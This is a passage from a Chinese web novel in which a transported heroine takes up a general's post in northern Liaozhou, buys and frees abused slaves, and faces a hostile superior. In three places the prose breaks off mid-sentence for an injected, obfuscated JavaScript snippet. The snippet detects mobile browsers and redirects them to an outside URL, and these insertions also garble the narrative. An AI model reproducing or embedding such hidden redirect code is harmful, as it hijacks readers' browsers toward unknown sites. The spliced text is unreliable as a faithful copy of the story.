一路鬼鬼祟祟,终于到了尚书府,她不能大摇大摆地上去敲门,只打算把东西悄悄放在哪个小门就走,绕了一圈,寻了一处隐蔽的侧门,李明珠四下张望确定无人后,才将包袱放在门前,趁着夜色返回。 但她不知道的是,她的身影刚消失在拐角处,那侧门就被人从里面拉开,一个侍从模样的女人提起包袱,转身进了院子,直奔主屋而去。 “主子,正如您料,那李明珠把东西都送回来了。” “呵,果真是谨慎之人,本官倒是没有看错她。” 蓝金坐在一张梨花木几案后,拿起包袱里的一个玉钏,纤细指尖在烛火的映衬下几乎白的透明,只随意把玩了几下,就失去兴趣般扔了回去,仿佛自己拿着的不是价值千金的暖玉,而是路边随处可见的石子。 “给少爷送过去罢,上赶着送东西人家还不领情,真是蠢,既如此,就让他读读书。”蓝金从书架上抽了几本书,递给侍从,“一并给送去,传令,一个月不许他出院子,就好好在屋里抄书反省。” “是。”侍从恭敬接过,退了出去。 然而这些,李明珠却一无所知,她回到家已是子时,匆匆漱口洗脸后睡下。 翌日一早,三人装好马车,交还了小院的钥匙,去往辽州走马上任。 冬去春来,马车摇摇晃晃已走了两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202161|197236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月有余,虽已是阳春三月,但李明珠一行人却依然裹得如同粽子一般。江州城想必早已是草长莺飞,世家小姐少爷们早已结伴出门踏青游玩,但北地却还是白雪茫茫。 尤其进了淮北的地界,冷风混着雨雪刀子一样刮到人的脸上,只要人在外面待一会儿,睫毛上就会结一层霜。 这时候李明珠无比感激女帝赐给她的三百两银子,相比看不见影的将军头衔和辽州的宅子,这钱可是实实在在救了她命的。 原本她还觉得带的东西已经足够,路上除了食宿再没别的花销,谁想这几个月,银子真跟流水一样花出去:又是买炉子又是添棉衣,甚至怕她们在外面赶车冷,白玉尘还高价收了块虎皮缝了两个虎皮帽子,戴在头上就能遮住大半张脸。 就这样,白灵和李明珠就裹得只露出两个眼睛,轮换着在外面赶车,但即便这样,没一会儿就要换人,然后拖着几乎冻僵的身体上马车里回温。 “哎——怪不得每年北地都有这么多流民往南走呢,这么冷的天,穷人要是买不起棉衣,真要冻死的!” 仅仅两个月,李明珠的心态就已发生了翻天覆地的变化,她真切地见到饿殍遍地,路有冻死骨,当历史书上的文字在眼前上演,她所能感受到的只有痛心和无力,深知自己做不了什么,也只能在保证安全之时,偷偷给她们一口吃的,但不能久留,必须马上驾车离去。 终于,就在冰封的河流裂开第一道缝隙的时候,她们的马车抵达了辽州城。 辽州比李明珠想象中的繁华,城门口处拍排了长长的队伍,看样子都是些挑了菜要去城里卖的农户,她们一行人也随着人流前行。 城门前有几名负责查验路引的守卫,李明珠也早已准备好了上任敕碟,原以为自己大小也是个五品官,对方应该会奉承几句,谁知那守卫接过敕碟后,只略扫了一眼,又看了看马车上的三人,什么也没说便放行了。 准备了一堆官场客套话的李明珠:......? 不过好在顺利进城,她们来得巧,现在正好是清晨,天已大亮,叫买的叫卖的,熙熙攘攘,是辽州城一天内最热闹的时辰。 李明珠走在其中,也有些被这古代市井气息感染到,她虽然穿来的时间不短了,但之前不论是做乞丐还是当土匪,都算不上自由,无暇感受生活。但是现在,大小也是个将军,一切都是新的开始! “时辰还早,咱们先吃早食——吃碗馄饨罢!”她环视一周,看见一个馄饨摊,零星几个食客正坐在摊前的方桌上吃着馄饨,摊主一个年逾四十的大姐,和夫郎一起一个包一个煮,配合默契,大锅里热气氤氲,香味儿飘到鼻尖,李明珠食指大动,拉着白家姐弟飞奔过去。 “老板,三大碗馄饨!” “好嘞,客官您稍坐,马上就好!”大姐在这卖了十几年的馄饨,跟城里的人几乎都认识,见李明珠三人是生面孔,又是穿的里三层外三层,头上还扣个大帽子,这奇怪的装束,一看便知不是北地人。 “你们是从南边过来的罢?”她是个爽快人,这么想着也就问出了口。 “是啊,您真会识人。” “哎呀,不是姐会识人,咱们打小就在辽州,都习惯这数九寒天的日子了,不觉着有多冷,但小娘子您裹得这么严实,长得还这么秀气,一看便是江南大户人家来的。” 知道对方说得是客套话,李明珠与白家姐弟对视一眼,但笑不语。 很快,馄饨上了桌,三人吃的浑身暖呼呼的,李明珠便不想再上车,与白灵一起牵着马车朝敕碟上御赐的府邸走去。 19. 府上 女帝赐给她的将军府位于最繁华的一条民巷,周围宅院林立,马车终于停在大门的石狮前时,李明珠甚至有些恍惚......这,这真是给她的?!这么豪华!光是府门就有十几丈长,虽然门上没有匾额,且有些老旧黯淡,但也着实出乎她的预料了。 以前在江州时,李明珠也是见过富家权贵的宅邸的,当初去尚书府还珠宝,她还感慨过蓝家真不愧是簪缨世家,府邸就是气派,碧瓦朱檐雕栏玉砌,宅子也大,害得她绕了好久才找到侧门。 但如今看着自己的将军府,李明珠膨胀地想:这也小不了多少嘛! 可她不知道的是,江州是京城,世家豪门扎堆的地方,那是寸土寸金。 真正的豪奢之家,也并非只看宅院大小,其内部构造更为重要,大到各院的安排,小到飞檐斗拱一草一木,无不精致,再雅致些的人家,就连院中是铺六棱石子还是鹅卵石都要悉心考量。 可这辽州的将军府,虽是处于最繁华的民巷,宅院也宽敞,却因着辽州是边境,武将里最大也不过正三品。 李明珠作为一个正五品虎烈将军,放在京城不起眼的人物,但在辽州,比她官职还大的,却是一只手都能数的过来了,宅院定然不能太过寒酸。 听见李明珠和自家姐姐异口同声地感叹,白玉尘掀开车帘向外望去,见到比想象中雄伟许多的宅子,亦是惊讶。 他原本已经做好了和阿珠一起吃苦的准备,谁曾想竟是柳暗花明。 白玉尘不禁喃喃:“咱们以后便住在这儿吗?阿珠,这是真的吗?” 从一年多前被迫离家时,他甚至都觉得这辈子都注定要颠沛流离,可现在......幸好,幸好有阿珠,眼眶渐渐泛红,他伸出手,在衣袖的掩饰下,慢慢抓住李明珠的衣角,却又怕惊动她似的,只是轻轻摩挲着。 三人一马像柱子一样在门口站了许久,最后还是李明珠觉得她们这样实在有点傻,便直接拉着两人进了院子。 比起大门的气势恢宏,庭院就显得有些破败,白雪覆盖着枯枝烂叶,一脚踩下去咯吱咯吱地响。 宅子是二进院子,绕过垂花门就是外院,正中央摆着一个莲花缸,李明珠往里面一看,居然还有残枝败叶,也不晓得六月里能不能开花。 她环视四周,满意道:“这宅子是真不错,虽然看着稍微旧了点,但稍微收拾收拾,移些花草,种点树,唔,最好是能结果子的,等丰收时,咱们就在这放个躺椅,再温一壶酒,一口果子一口酒,岂不美哉!” 李明珠兴奋地比划着:“现在是三月,时节刚好,这一片要种桃树,还有那儿,玉尘爱吃石榴,给你种一大片石榴树。” 白玉尘也很开心,听到她还记着自己喜欢吃石榴,一颗心更是浸了蜜一般,绯色从颊边泛起,口中却不由嗔道:“在你心里我是个饕餮不成,能吃下这许多。” 李明珠大手一挥:“没事儿,吃不完就酿酒,什么石榴酒、葡萄酒桑椹酒,姐姐我都是手到擒来!” 她小时候每年暑假都会去外婆家,跟着酿过几次果酒,度数不高还甜甜的,之时后来上了高中,学业繁忙,就很少回去了,但外婆依然惦记着她,每年都会给她寄几坛来,可惜,以后怕是喝不上了...... 思绪渐远,连眉宇间都染上了些许落寞,但是她很快就调整好了心情。没关系,她学会了外婆的手艺,那么今后每一次酿酒,都是她对外婆的想念。 再往里走就是内院,内院虽比外院小一些,布局却更雅致,除了循制的正房、厢房外,在东北角和西北角居然各有一个二层小楼,白家姐弟见到这样的布局很是惊讶,莫说他们,连李明珠在后世见过无数古建筑,也从未有过这样的院子。 她抬步朝离得更近的东北角走去,就见匾上书五个大字‘竹外一枝轩’,看字的同时一错眼,就能瞥见楼后的一大片竹林。 竹性韧,即便在冬天,风雪压枝也是不曾折腰,只是竹身有些许泛黄而已,这些竹子看上去有些年头,其中几枝长得比小楼还高。 此情此景,让李明珠不禁啧啧称奇:“这名字取得真贴切,也不知这座宅子原来的主人是谁,住在这内院的,应该也是个同阿尘一样的,翩翩少年郎罢。” 被她打趣得不行,白玉尘嗔了一眼,逃也似地转身去看另一座小楼,西北角的楼更精致,想必就是近两年刚刚建成的,名曰‘摘星楼’。 “想必,他家人一定也很宠他,又是竹轩又是摘星的,寻常人家可不会为了区区一个男儿费这许多功夫。” “没事儿,我和白灵姐也宠着你,这院子日后就给你一个人住了,哦不,还得再给你买两个小厮伺候。” “就我一个人住?那你们住哪?” “住外院啊。”李明珠理所当然地道。 可白玉尘却没她想象中的高兴,“为什么要住外院,我们从前在城隍庙,在京城的小院,不都是同住一院吗?我不想要小厮,我什么事都能做,我可以伺候你,你——你们的。” “从前是条件不允许,只能将就着,如今这么大的宅子只有咱们几个人,自然要分开,玉尘,你今年已经十四岁,男子十五加冠便可议亲,若是传出去你还跟我们住一个院子,成何体统!” 还没等李明珠回答,白灵就已经开口,几乎是训斥道。 她到底是年长这两人几岁,又是白玉尘的亲姐姐,明珠看不出来,但她对白玉尘的小心思是有些了解的。 其实私心里,她也是希望明珠能够成为自己的弟媳,这一年多相处下来,她的干净、纯粹,无不吸引人靠近。虽然有时候稚女心性,却是非分明,现在又得到了女帝的赏识,将他们拉出了泥潭,但白玉尘言辞行为之间,竟然如此不知分寸,丝毫没有寻常男儿应有的矜持,这话若是传出去,对他和明珠都不好。 明珠是女子,世人不会桎梏于她,但玉尘不同,他会面对最大的恶意。 白玉尘听了白灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李明珠却拦住了他,想了想,道:“今日就别开火了,这院子得好好收拾收拾才能住人,白灵姐你跟阿尘一起先收拾着,我去给你们买些吃食,顺便再找人牙子买几个小厮仆人回来。” 转身刚要出门,看见院外的马车,又转身:“阿尘,你去咱们马车上看看,将行李先拿出来,另收拾件换洗衣裳出来。” 在两人疑惑的眼神中,她解释道:“今日这宅子肯定是收拾不完,我去找间客栈先订好房,咱们这几日就暂时住在客栈里,等府里妥当了再搬回来。” 辽州城地广人稀,又因在北地边境,一年里大部分时间都是极为寒冷,所以鲜少有游人富商来此,大多数进城的都是附近乡民,靠来城里买菜为生,朝来夕走,不会在这过夜,故而辽州城内的客栈,总共也只有那么两三家。 李明珠跟一个本地大姐打听了一下,定了口碑更好的云来客栈,环境干净,价格也公道,三间上房两晚一共花了四百八十文,要是每人再添十文,就可以多要几桶热水泡个澡。 “泡澡?!” 这个词在此刻简直戳中了李明珠的死穴,要知道,她自从穿越到这个时代,半年多都没有泡过一次澡了,不论是以前当乞丐还是做土匪,都是条件艰苦,能简简单单冲个澡就不错了,哪有那闲工夫和闲钱让她烧水洗澡? 但现在,李大小姐翻身了! 爽快豪气的又给了店家三十文。洗!当然要洗,不光她洗,另外两人也得同她保持一致,今晚,大家都要痛痛快快地搓下三层皮来! 20. 小奴 订好了客栈,听伙计说她们这儿也有饭食,李明珠便干脆一齐买了。 等菜的工夫,她向伙计打听好了辽州城的牙人。 辽州东南临海,早年前海运兴盛,这儿的码头也曾盛极一时,只是先帝在位时,颁布了海禁政策,这些年便渐渐衰落下去,连带着辽州城都一起沉寂。 不过海运虽禁,却依然有人为了其中巨大的利益铤而走险,偷偷走私,所以久而久之,码头这边就形成了人货市场,卖人也卖货。毕竟辽州于京城那真是天高皇帝远,本地官员也因为收了贿赂,对此事睁一只眼闭一只眼。 李明珠照着客栈伙计指的路,来到了城南码头坡,隔着大老远就听到那边人声鼎沸,看这场面,比她想象的还要大。 各式各样的摊贩都卖力吆喝着自己的货品,李明珠从她们的摊前走过:屯姑的香料,波斯的宝石,凯里的琉璃玉器,琳琅满目应接不暇。甚至路过人伢子时,她还看见了几个蓝眼睛的异族女奴被拴住脖子,缩在一旁被牙婆叫卖。 李明珠毕竟是从后世而来,亲眼目睹这种不把人当人的行为非常不适,但她也知道以自己现在的能力并不能改变什么,何况自己来这地方不也是想买两个小厮回去? 想到这儿,她忽然觉得有些挫败,手无意识地抓紧了食盒,茫然地看着眼前的热闹,却感觉自己始终格格不入,当然,也不想融入,她怕自己在这个时代待久了,会变得像她们一样麻木...... “啪!啪!” 两个清脆的巴掌声让李明珠回过神来,朝那声音的来源看去,一个牙婆正对着瘦小的男奴破口大骂: “小贱蹄子,老娘跟你说了多少遍,见着客人得笑,不然你那丧门星模样,哪家敢要你,呦呵,还敢哭!看奶奶今日不打死你个贱玩意儿——哎呀疼疼疼,哪个不长眼的敢——啊啊啊,嘶,娘子饶命,我错了,您饶了我咱们有话好商量。” 李明珠不为所动,依旧将那牙婆反制住,摁在旁边一块大石头上,“饶了你,你怎么不饶了他呢?” 说罢,她又看向那个小男奴,“你说,要放过她吗。” 男奴本就被这一变故吓得不轻,听了李明珠问他话,顿时更害怕了,“小奴,小奴,我......”竟是连话都说不清了。 其实李明珠对他本身也没抱什么希望,毕竟看这牙婆今日之举,就能知道她手底下的奴隶都过着怎样非人的日子,平日里定是稍有不顺就对他们非打即骂,之所以会问他,也就是想要借此拖延些时辰,好让牙婆多疼一会儿罢了。 只是当她觉得时候差不多,打算再撂几句狠话就把人放了时,旁边一道沙哑的嗓音传来:“奴多谢娘子替我等出头,只是娘子可曾想过,您今日出手教训了她,等您走后,她卷土重来变本加厉之时,我等又该如何自处呢?” 李明珠循声望去,很轻易地找到了声音的主人,无它,只因这人比其余奴隶高了半头不止。 据她这半年多来的观察,大荣朝女子普遍既高又壮,就连身体有恙的蓝金也是身姿颀长,目测也有一米七几,而与她相处比较多的土匪们还有白灵,都要要更高些,几乎一八几以上。男子比女子稍矮,但不会矮太多,妻夫二人站在一起,也是相得益彰。 但她这具身体,也不知是营养不良还是什么,看着就就比别人矮了一截,虽不知具体多高,但绝对没有一米七。 所以身高问题也是李明珠一直苦恼的,她在饮食上从不亏待自己,再加上是女人,饭量本来就很大,这段日子有钱吃的也好了,身上便长了些肉,脸也捂白了,配上那一双杏仁眼,黑白分明的眸看向你时,那纯净到圣洁的眼神似乎有种力量,让人像观音座下信徒一样,想匍匐在她脚边轻吻,祈求她能洗去你满身的污秽。 就如此刻,柳初元对上少女的眼眸,几乎要被吸入其中,他慌忙移开视线,一颗心却跳的要从喉咙里钻出来。再也说不出一个字。 “我不是那等只满足自己救美虚荣心的人,我既出手,便会为你们谋好后路。”看着对方躲开自己的眼神,李明珠只以为他是不信任自己,便一字一句保证道。 然后双手更加用力,牢牢钳住那牙婆的脖颈和手腕,“放了你也可以,我要全买了他们,你开个价,但我得先警告你,最好公道些,不然——” 又一个用力,牙婆直接惨叫出声:“好好好,姑奶奶,我卖,我卖还不行吗。” 不过就算被压制着,牙婆商人的本性还是蠢蠢欲动地冒头,她悄悄转了转眼珠子,“您有所不知,我手里的这些小奴,那个个都是不凡呐——啊,疼疼疼......” “想好了再说!” “一吊钱!您给一吊钱就成,他们有四人,男奴市价二百文,但他们中有一个是我花大价钱弄来的,从前是大家公子,又识文断字,至少也要六百文,我也不能赔本啊,姑奶奶您行行好,放了我罢。” 李明珠方才在客栈已经向伙计大概问了价钱,仔细算了算,两三百文倒是差不多,便要从袖中拿钱。 “娘子莫信!”旁边一道声音急急插来。 ——是那个高个子男人。 李明珠疑惑转头,“怎么?” “如今市价确实是两百文不错,但是她买我只花了不到三百文......”顶着牙婆几欲吃人的眼神,柳初元还是坚定地把话说完了。 李明珠简直要被这狡猾的人伢子气的仰倒,身家性命都在自己手上攥着呢,这人居然还敢跟她耍花招,她忍无可忍,干脆直接对着牙婆的塌臀就是一脚,然后丢给她两块碎银。 “这是一千文,买他们几个绝对是绰绰有余,快些把他们的身契给我,再敢耍诈,我定不饶你!” 牙婆吃痛,但也知道此刻不得不低头,便只能暗暗咬牙,不甘地从怀里掏出身契,递给李明珠,然后趁着对方给那几个男奴解绳子的功夫,赶忙跑远了,中途还不忘回头朝他们啐一口。 李明珠余光瞥见,却也懒得搭理。三两下就解开了桎梏他们已久的绳索,被救的男奴们涕泪俱下,甚至跪下朝她磕了好几个头,她对这些哭哭啼啼的小男孩儿着实束手无策,只能好言好语劝道: “你们莫再哭了,身契已 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咦?他们是?”白玉尘似嗔似怨地接过李明珠手上的食盒,又似乎刚刚发现她身旁还有别人,惊讶道。 李明珠却没想那么多,单纯以为他只是饿了,毕竟自己这趟出去的确实太久,便歉声道:“是我的错,我买完了吃食,就想着顺便给你买几个小厮,一来一去耽搁得久了,是不是饿了,走,进去吃。” 白玉尘听她说这几个只是买来的小厮,悄悄松了口气,天知道她方才看见阿珠竟然带着旁的男子回来,心中有多么忐忑。 一行人进了府,在刚收拾出来的一间屋子里摆了吃食。 方才买了人回来的路上,李明珠怕人多不够吃,在路边一家食肆又要了两道菜,所以此时满满当当地摆了一大桌子。 那几个小奴应是饿狠了,吃的很急,除了那个高个子男奴,他似乎真如牙婆所说,出身大家,即便辗转为奴,身上的礼仪气度也不曾废。 白玉尘敏锐地注意到了他,方才李明珠已经跟他们讲了买下几人的经过,还说以后就让他们伺候他。但是私心里,白玉尘根本不想让外人进府打扰他们,他不需要人伺候,也不想当大家公子,过十指不沾阳春水的日子。 自从遇到李明珠后,他一颗心都只想着成为她的夫郎,为她生女育儿,洗手做羹汤,伺候她照顾她,与她日夜相伴。 从前还在城隍庙时,他最梦想的便是有朝一日,能有个自己的院子,就他们三人,姐姐在外头给阿珠赚钱,他则在家里料理琐事,阿珠什么都不用做,只要每日快快活活地陪女儿们玩,或是像江州城里一些世家贵女那样提笼架鸟、赋诗集会。 但是如今,宅子有了,他却不能与阿珠同院而住,家里也不再只有他们三人。方才阿珠不在时,姐姐已经语重心长地同他解释了,让他分院而居是为他好,传出去名声好听,将来若是阿珠无意,自己还能有退路...... 可他压根不想要这劳什子退路! 白玉尘攥紧手中筷,他这一辈子,势要同阿珠在一起,没有人能将他们分开...... 21. 刁难 花了三天时间,将军府终于收拾停当,这几日,李明珠和白家姐弟一直住在客栈里,本想也给那三个小奴也订一间房,没想到却遭到所有人反对。 白灵是觉得他们毕竟是男子,李明珠又是有品级的将军,若是将来被有心之人抓住此事加以利用,想必‘五品大将军带三郎住店’这噱头定会弄得满城风雨,对她的仕途不利。 柳初元几人则是因为感激李明珠,不想再给她添麻烦。 白玉尘更是不必说,他如何肯让旁人打扰他和明珠难得的相处? 见众人全票否决,李明珠也只好作罢,在内院耳房里给他们安置了床榻,又嘱咐好他们夜里一定要把大门侧门都关好再睡,三人便离开去了客栈。 想着第二日再回去继续收拾。然而翌日一早,她们再踏入将军府的大门时,险些以为自己走错了——明明前一日还到处枯枝败叶,一片萧条之景,仅一夜过去,落叶也没了,花也修剪好了,内外两院的住屋也都是干干净净一尘不染...... 三人面面相觑,李明珠不禁咋舌:这一千文花得值,简直弄了三只田螺公子回来。 所以,原本以为得打扫好久才能搬回来,但经过他们这一夜的收拾,连带着买家具铺盖,也只用了三日,就住进了将军府。 当然,这些琐事和李明珠关系不大,因为她早在到达辽州的第二日,便去了城郊军营上任。 辽州是大荣朝东北边境,北与玉龙国接壤,东南又是茫茫大海,所以自本朝开国以来,辽州都被视为军事重地,且边防海防并重。 但先帝禁了海运,码头日渐萧条,水师也渐渐式微,每年都要放归一大批兵士。 李明珠领正五品虎烈将军之衔,身穿一件墨色窄袖劲装,外罩霜色大氅,骑上那匹陪着她们从江州奔波而来的马,意气风发地去了驻守辽州的步兵统领衙门。 然而,现实给了她一记重锤,并在她耳边轻语:骄傲的母鸡只会落得一地鸡毛。 其实在来的路上,李明珠已经在脑海中无数次演练过今日走马上任的场景,毕竟这是她来古代第一份工作,哦不,准确来说是她两辈子第一份工作。甚至还在心里想好了跟同僚第一次见面如何打招呼,可谓是信心百倍。 所以当她一路打马扬鞭,终于到了地方,却只能面对空无一人的衙署时,登时仿佛一盆凉水兜头淋下,直接浇灭了她内心的激动小火苗。 此时已是辰时正,是敕碟上所书的上值时辰,但衙门为何一个人都没有?就算她的上峰武威将军还未到,但总有兵士和门子在啊,怎样也不可能让偌大的衙署无人值守吧。 带着满心的疑惑,李明珠一个利落的翻身下马,三两步跨上了台阶,叩响了朱漆大门。 咚咚——咚咚—— 敲了许久也没人来开,饶是她脾气再好,此时也有些恼了。 从前在京城时她就曾听过武威将军黄云旌的名号,出身不高,却是先帝一朝的武状元,从四年前就奉命领兵驻守辽州,按理说这人长于乡野又是武将,一步步爬上正三品之位,应该更是勤于律己,怎得这日上三竿还未上值? 不对劲,十分有九分的不对劲。 李明珠将束起的马尾甩到肩后,眉毛一挑,既然正门走不了,那便换条路罢!围着衙署绕了一圈,找了院角一处低墙,双手一撑跳了进去。 事情果然不出她所料,衙署里的官吏士卒见到几乎是凭空出现的李明珠时,具是骇然,但她此时已经无暇理会这些人了,只一门心思要找黄云旌,问问她这到底是什么意思。 李明珠并非不懂规矩之人,昨日她刚进城,去将军府落下脚后,就马不停蹄先给衙署的门房递了敕碟,也说了自己今日会准时上任,谁知道她们居然玩闭门不见这套!是料定辽州天高皇帝远,就算她们如此行径,自己也无法上奏?不管是因为什么,她都要找黄云旌问个清楚。 谁知,就在她气势汹汹要找人时,门子匆匆跑来,气都没喘匀就急急拉住她:“你,嗬——嗬嗬,您怎么找到这儿来了......” 李明珠并未对她撒气,知道对方只是个听话办事的,放眼这整个步兵统领衙门,真正说了算的,也只有三品四品两位将军,以及几个副将了,所以她只是淡淡从门子手里抽出自己的衣袖,语气也很是冷淡生硬:“不然呢,不找到这儿来,难道真要我把门敲出个洞再进来?我不同你说,更不愿为难你,我只找黄将军。” 门子心里暗暗叫苦,神仙打架,遭殃的还不是她们这群小鬼。再如何说,眼前这娘子也是圣上亲封的五品将军,虽然所有人都看轻她从前土匪的身份,但也是轻易不好得罪的。 只能打着圆场:“是小人不好,小人昨日忘了将您的敕碟交予黄将军了,这样,您今日先回去歇着,等一会儿将军回来,小人同她请了罪,明日您再上值?” 李明珠简直要被她这话气的仰倒,不由恼怒:“本将军何时上任是圣上下旨,什么时候轮得到你置喙了?” 许是觉得自己跟一个门子生气实在没必要,她闭了闭眼重重吐了口气,复又睁开,一双眸子清凌凌地看着对方,一字一句道:“我只问你一句,武威将军究竟在哪?!” 辽州城外三十里,城北大营。 演练场上,正进行着一场角逐。数千名精锐兵士一较高下,最后只选出一千人作为前锋,对阵玉龙国。 玉龙国地处辽州以北,与大荣国以松河为界,松河常年水量丰富,兵马难以渡河,所以自前朝起就是辽州的护城河,附近百姓也常常在此吃水浣衣。 但同一条河,在玉龙国内却几乎是年年决堤,洪水滔天,久而久之,河流经过之处,方圆几十里都杳无人迹,这也让本就因在北地物产匮乏的玉龙国更加雪上加霜。 故而从先帝在时,便命当时的新科武状元黄元旌率五万人马驻扎辽州边境,不过这几年来,大军更多是震慑作用,真正的战事却不常有,双方倒也相安无事过了些安稳日子。 只是从去岁开始,连着两年冬日严寒,加之去年一整年雨水颇丰,多处河道决堤,松河就是其中之一,辽州没受什么影响,但处在下游的玉龙国就遭了殃,普通民众简直民不聊生。 老百姓活不下去,干脆揭竿而起,一路从西北小城打进玉龙国都,生擒了上一任玉龙国主,就在几个月前,新皇拓什登基,大开粮仓赈济灾民,才算勉强控制住了局面。 拓什出身市井,靠着一杆银枪和战马,带着追随她的姐妹背水一战,历经万难才起势成功,最是清楚普通贫民百姓日子的艰难。但奈何上任国主挥霍无度,又是天灾又是人祸,玉龙国几乎已经是千疮百孔,百废待兴。 无法,拓什就打起了大荣的主意。 从两月前开始,辽州边陲的几个村镇就时常遭受她们的侵扰,一开始还只是小打小闹,趁着夜深人静在农户家里偷几只鸡鸭罢了,后来愈演愈烈,甚至公然在辽州城内及周边村镇抢掠,报官后也没什么用,人家该抢还是抢,民众怨声载道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202164|197236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年前回京述职的北直隶节度使将此事呈报给女帝,帝大怒,别的不说,辽州屯兵数万,可玉龙国派来抢掠的兵士只有两三千人,几万对几千,居然还能被对方得手,朝廷每年花大笔军费养着她们难道是吃干饭的不成?! 遂直接下旨,命武威大将军黄云旌亲自负责平乱,且不可浪费兵力,劳民伤财。 圣旨到了衙署内,大小官员也陷入两难,虽说玉龙国派来的人少,但就是因为人数太少,甚至还会分成几小股去行动,一有点风吹草动就四散奔逃,官府很难将其一网打尽。 黄云旌率手下军师仆役商量许久,决定干脆以夷制夷,也训练几千精兵,在玉龙国兵士进辽州城的数条必经之路上提前埋伏好,打她们一个措手不及。 所以李明珠到时,看到的便是这样的场景——演武场黄沙尘土飞扬,数千兵士身着鲜红戎装,手拿银枪,声势浩大地对阵练武。 勒马停在不远处,李明珠下意识地摒住了呼吸,此情此景,在她心里几乎形成惊涛骇浪,让她沉醉其中,心脏剧烈跳动,浑身血液都兴奋起来,仿佛在告诉她:这才是你该来的地方。 主帅帐内。 李明珠和黄云旌相对而坐,将军亲兵为二人倒了水,便退出帐外。 寂静无言中,还是黄云旌率先开口:“你就是圣上亲封的虎烈将军?叫李...” “末将李明珠,参见将军!”毕竟自己是晚辈,纵然对其态度有所不满,李明珠还是起身抱拳道。 “嗯,落座罢。”黄云旌应了,却摆弄着水盏,连眼皮都没掀。 “你能找到这儿来,想必是去过衙署了,说实话,本将军以前是小瞧了你,如今见着人,倒也不似那般土匪做派,只想着不劳而获劫道生事。”她丝毫不掩饰语气里的轻蔑,一口饮尽杯中之水,挑眉看向对面纤瘦却背脊挺直的少女。 李明珠自然也听出了对方的不屑,但她也不欲与其过多争辩,世人对土匪没有好感也是正常,她自己身处其中,知晓大部分土匪都是身不由己才落草为寇,并非全是大奸大恶之辈,但却不能凭一己之力改变旁人的眼光。 但不争辩并非是苟同,也不代表低头。 “黄将军,我出身如何已是既定,您只需记得,我是圣上亲封的正五品虎烈将军,日前来辽州上任。” “有意思,圣上亲封,你是在威胁本将军不成?我这大营里可不养闲人,看你这男儿身板,真让你领兵,你认为可有人臣服于你?” “黄将军这话说得不妥,君为臣纲,有君才有臣,您与明珠同为陛下臣子,如何用得‘臣服’二字?” 没管对方骤然阴沉下来的脸色,李明珠继续道:“将士们应当臣服的只有圣上一人,黄将军,你我皆不过是圣上谋天下的御前之卒而已。” 黄云旌眯了眯眼,良久,兀然笑了:“好一个御前之卒,如此能言会道,怪不得能以区区土匪之身加以封赏。既然你如此说,我再多言倒是不妥,这样罢,开战在即,本将也没空搭理你,左不过就是练兵,你若觉得自己能胜任——” 她抬手,“就自便罢。” 说完,便不再理会,看起了桌案上的战报,只扬声让手下副将罢把李明珠带到演武场。 上阵任务达成,李明珠也没多停留,径直与副将一起去了演武场,只是,她不知道的是,在她们走后,黄云旌原本落在书案上的眸抬起,看向她的背影,神情却不复刚才的阴沉愤怒,眼底闪着意味不明的光。 22. 上药 月上柳梢头。 月上柳梢头。 饭菜热了一遍又一遍,将军府的主人却迟迟未归。 白玉尘从日头刚落山起,就提着灯等在府门前,今日是阿珠头一天上值,他想让她一回来就看见自己。 在寒风里站了一个时辰,等到天完全黑透了,也不见熟悉的身影归来,白玉尘便有些急了,刚想找白灵去大营寻人,就听远处的街巷尽头,传来‘哒哒’的马蹄声。 这声音,从京城到辽州,他听了两个多月,已是再熟悉不过。 当李明珠的身影在夜色中逐渐清晰,他便似鸟投林般扑了上去,“阿珠,怎得如此迟?早上走的时候不是说今日不会太晚吗——啊!你受伤了?!谁干的!” 抱住了人,白玉尘才看清李明珠脸上都是尘土,头发也凌乱不堪,隐隐还有一丝血腥味。 眼中的欣喜瞬间被恐慌替代,竟是不顾她们还在外面,就像小兽般胡乱扯着李明珠的衣裳,口中还焦急地喃喃:“让我看看,让我看看阿珠,你伤哪了?怎么会受伤呢,痛不痛......定然是痛的,我帮你上药。” 听着他已经混乱到毫无章法的话,又见那迅速染上红意的眸,李明珠叹了口气,知晓他是关心自己,便忍着一身疲惫摁住那双在自己身上作乱的手,柔声安慰:“不疼不疼,就是与人切磋之时划了两下罢了,都是一个营的姐妹,点到为止,不痛的。” 李明珠边说边拉着他进了府,被白玉尘调来充当门子的柳初元关上府门,远远地跟在她们身后,低下头默默走着,黑夜里的将军府格外冷清安静,只有李娘子在的地方才有人气儿。 他微微抬眼看向前方挨得极近的两人,听着耳边断断续续传来的安慰之语:“真的没事...好好好,一会进去让你看...真的就是切磋,咱大小也是个将军,是她们的顶头上峰,谁还真能下死手不成?” 那道声音温柔的不可思议,但传到他耳边时,却已被风消散地几不可闻。念及此,柳初元微微垂眸,用目光丈量着自己与李明珠的距离,脑海里却一直浮现着她与白玉尘亲密的举止,良久,终是深深低下了头...... 他不禁暗自苦笑,自己这般蝼蚁之躯,又如何敢肖想能与娘子并肩呢? 任凭柳初元心中作何感想,白玉尘此刻却无暇顾及,他的一整颗心都浸在名为李明珠的温水中,又似被蜜包裹着一般,飘飘然上下浮沉。 